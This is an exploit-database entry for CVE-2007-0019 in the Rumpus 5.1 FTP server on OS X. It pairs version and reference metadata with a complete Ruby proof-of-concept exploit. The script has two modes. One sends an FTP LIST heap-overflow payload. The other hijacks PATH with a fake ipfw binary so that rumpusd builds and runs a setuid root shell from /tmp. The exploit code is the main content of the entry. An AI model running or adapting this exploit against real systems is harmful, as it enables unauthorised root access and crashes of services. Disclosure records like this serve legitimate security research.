ID

VAR-E-200701-0113


CVE

cve_id:CVE-2007-0019

Trust: 1.8

sources: BID: 22126 // PACKETSTORM: 53787 // EXPLOIT-DB: 3156

EDB ID

3156


TITLE

Rumpus 5.1 - Local Privilege Escalation / Remote FTP LIST - OSX local Exploit

Trust: 0.6

sources: EXPLOIT-DB: 3156

DESCRIPTION

Rumpus 5.1 - Local Privilege Escalation / Remote FTP LIST. CVE-2007-0019 . local exploit for OSX platform

Trust: 0.6

sources: EXPLOIT-DB: 3156

AFFECTED PRODUCTS

vendor:rumpusmodel: - scope:eqversion:5.1

Trust: 1.6

vendor:maxummodel:rumpus ftp server devscope:eqversion:2.0.3

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:eqversion:1.3.6

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:eqversion:1.3.5

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:eqversion:1.3.4

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:eqversion:1.3.2

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:eqversion:5.1

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:eqversion:5.0

Trust: 0.3

vendor:maxummodel:rumpus ftp serverscope:neversion:5.1.1

Trust: 0.3

sources: BID: 22126 // EXPLOIT-DB: 3156 // EDBNET: 27511

EXPLOIT

#!/usr/bin/ruby
# Copyright (c) Lance M. Havok <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Proof of concept for issues described in MOAB-18-01-2007.

require 'net/ftp'
require 'socket'

bugselected = (ARGV[0] || 0).to_i
target_host = (ARGV[1] || "localhost")
target_user = (ARGV[2] || "anonymous")
target_pass = (ARGV[3] || "rumproast")

def list_bug(o)
payload = "A" * 251
payload << [0x41424344].pack("V")
payload << [0x61626364].pack("V")
payload << [0x30313233].pack("V")
payload << [0xdeadface].pack("V")
o.list(payload)
end

def local_priv_escalation()
wrapper = 'int main() { setuid(0); setgid(0); system("/bin/sh -i"); return 0; }'
fake_ipfw = 'int main() { system("/usr/sbin/chown root: /tmp/shX; /bin/chmod 4755 /tmp/shX"); return 0; }'
command_line = "echo '#{wrapper}' > /tmp/test.c && cc -o /tmp/shX /tmp/test.c && " +
"echo '#{fake_ipfw}' > /tmp/ipfw.c && cc -o /tmp/ipfw /tmp/ipfw.c && " +
'export PATH="/tmp/:$PATH" && /usr/local/Rumpus/rumpusd'
system command_line
sleep 1
puts "++ Enjoy root shell..."
system "/tmp/shX"
end

case bugselected
when 0
puts "++ FTP LIST heap buffer overflow..."
Net::FTP.open(target_host) do |ftp|
ftp.login("#{target_user}","#{target_pass}")
list_bug(ftp)
end
when 1
puts "++ Local privilege escalation..."
local_priv_escalation()
end

# milw0rm.com [2007-01-19]

Trust: 1.0

sources: EXPLOIT-DB: 3156

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 3156

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 3156

TYPE

Local Privilege Escalation / Remote FTP LIST

Trust: 1.0

sources: EXPLOIT-DB: 3156

TAGS

tag:exploit

Trust: 0.5

tag:denial of service

Trust: 0.5

tag:overflow

Trust: 0.5

tag:local

Trust: 0.5

tag:proof of concept

Trust: 0.5

sources: PACKETSTORM: 53787

CREDITS

MoAB

Trust: 0.6

sources: EXPLOIT-DB: 3156

EXTERNAL IDS

db:NVDid:CVE-2007-0019

Trust: 1.8

db:EXPLOIT-DBid:3156

Trust: 1.6

db:EDBNETid:27511

Trust: 0.6

db:PACKETSTORMid:53787

Trust: 0.5

db:BIDid:22126

Trust: 0.3

sources: BID: 22126 // PACKETSTORM: 53787 // EXPLOIT-DB: 3156 // EDBNET: 27511

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2007-0019

Trust: 1.5

url:https://www.exploit-db.com/exploits/3156/

Trust: 0.6

url:http://www.maxum.com/rumpus/

Trust: 0.3

url:http://projects.info-pull.com/moab/moab-18-01-2007.html

Trust: 0.3

sources: BID: 22126 // PACKETSTORM: 53787 // EXPLOIT-DB: 3156 // EDBNET: 27511

SOURCES

db:BIDid:22126
db:PACKETSTORMid:53787
db:EXPLOIT-DBid:3156
db:EDBNETid:27511

LAST UPDATE DATE

2022-07-27T09:34:09.358000+00:00


SOURCES UPDATE DATE

db:BIDid:22126date:2007-09-13T03:01:00

SOURCES RELEASE DATE

db:BIDid:22126date:2007-01-18T00:00:00
db:PACKETSTORMid:53787date:2007-01-20T03:17:46
db:EXPLOIT-DBid:3156date:2007-01-19T00:00:00
db:EDBNETid:27511date:2007-01-19T00:00:00